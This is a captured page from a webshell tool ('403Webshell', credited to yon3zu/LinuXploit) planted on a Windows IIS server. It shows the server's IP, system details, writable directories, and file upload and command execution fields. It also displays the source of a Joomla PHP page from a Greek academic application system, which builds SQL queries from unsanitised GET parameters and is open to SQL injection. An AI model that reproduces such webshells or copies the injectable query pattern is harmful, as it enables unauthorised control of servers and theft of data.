403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ees_request/externalpages/ams/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ees_request/externalpages/ams/appStatus_edit_appForm.php
<?php
    include('config.php');
    require_once('ApplicationForm.class.php'); 
    
    define( '_JEXEC', 1 );
    define('JPATH_BASE', dirname(__FILE__) );
    define( 'DS', DIRECTORY_SEPARATOR );
    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
    require_once ( JPATH_BASE .DS.'libraries'.DS.'joomla'.DS.'factory.php' );
    
    session_start();

    $mainframe =& JFactory::getApplication('site');
    $user =& JFactory::getUser();             
    
    if (!$user->guest) {
   
        $db_connection=mysql_connect($host, $username, $password, $db_name);
            if (!$db_connection) {
                die("<br><b>Database Error:</b> Could not connected. Try again later.<br>");
                exit;
            }
        @mysql_select_db($db_name, $db_connection) or die("Unable to select database.");
        mysql_query("SET NAMES 'utf8'", $db_connection);
        
        // show user's application form using DEPARTMENT_ID, SECTION_ID, LESSONS_IDS, EDUCATOR_NOTES, SEMESTER_TEACHING
        
                $Q = "SELECT application_form.*,lesson.semester FROM application_form,lesson 
                        WHERE application_form.lessonId=lesson.id AND userId='".$user->id."' 
                        AND application_form.departmentId='".$_GET['dId']."' 
                        AND application_form.sectionId='".$_GET['sId']."' 
                        AND academicYear='".$_GET['year']."' AND application_form.submited='0'
                        ORDER BY semester,lessonTitle";
   
                
                $result = mysql_query($Q);
  /*                              
                if(mysql_numrows($result) > 10 ) {
                        echo "<br><br><font size='4' color='red'><b>Έχετε υπερβεί το όριο των 10 μαθημάτων.<b></font><br>";      
                }     
    */            
                if( mysql_num_rows($result) > 0 ) {  
                  ?>
                                <br>
                        <table width="50%">
                            <tr>
                                <td align='left'><b><font color='#005800' size='3'>Δήλωση Μαθημάτων   </font></b></font></td>
                            </tr>
                        </table>  
                                <table width="100%" align="center">
                                    <tr align="center" align="center" style='background-color: #B9EEAC;'>
                                        <th>Τίτλος Μαθήματος
                                        <th>Εξάμηνο  
                                        <th>Εξάμηνα Διδασκαλίας
                                        <th>Χρήση Εγκεκριμένων Σημειώσεων  
                                        <th>
                                        <th> 
                                        
                                    </tr>
                    <?php  
                                            
                                    while( $row = mysql_fetch_array($result) ) {
                                    
                                            $Q2 = "SELECT * FROM lesson WHERE id='".$row['lessonId']."'";
                                            $result2 = mysql_query($Q2);
                                            $lesson = mysql_fetch_array($result2);
                    ?>                      
                                            <tr onMouseOut="this.style.background='#FFFFFF'" onMouseOver="this.style.background ='#FFA346';">
                                                <td><?php echo $lesson['lessonTitle']; ?></td>
                                                <td><?php echo $lesson['semester']; ?></td> 
                                                <td><?php echo $row['semesterTeaching']; ?></td>  
                                                <td><?php echo $row['userNotes']; ?></td>  
                                                <td><a href="?option=com_content&view=article&id=50&year=<?php echo $row['academicYear'];?>&dId=<?php echo $row['departmentId']; ?>&sId=<?php echo $row['sectionId'];?>&lId=<?php echo $row['lessonId'];?>">[Επεξεργασία]</a></td>   
                                                <td><a href="?option=com_content&view=article&id=54&req=0&year=<?php echo $row['academicYear'];?>&dId=<?php echo $row['departmentId']; ?>&sId=<?php echo $row['sectionId'];?>&lId=<?php echo $row['lessonId'];?>">[Διαγραφή]</a></td>      
                                            </tr> 
                      
                    <?php                              
                                    }                                   
                                    echo "</table>";
                    echo "<br><br><p align='right'><a href='?option=com_content&view=article&id=56&dId=".$_GET['dId']."&sId=".$_GET['sId']."&year=".$_GET['year']."'>[ - Διαγραφή Αίτησης]</a> ";
                    echo "<a href='?option=com_content&view=article&id=51&dId=".$_GET['dId']."&sId=".$_GET['sId']."'>[ + Προσθήκη Μαθήματος]</a></p>"; 
                    echo "<br><a href='?option=com_content&view=article&id=47'>[ << Πίσω]</a>";
   
                }
                else {
                    echo "<br><font color='red'>Δεν βρέθηκαν Μαθήματα στη Συγκεκριμένη Αίτηση.</font>";
                } 
        //--------------------------------------------------------------------------------------------        
         
    }
    else {
        echo "<br><font color='red'>Απογορεύεται η πρόσβαση. Δεν είστε συνδεδεμένοι!</font>";
    }
?>

Youez - 2016 - github.com/yon3zu
LinuXploit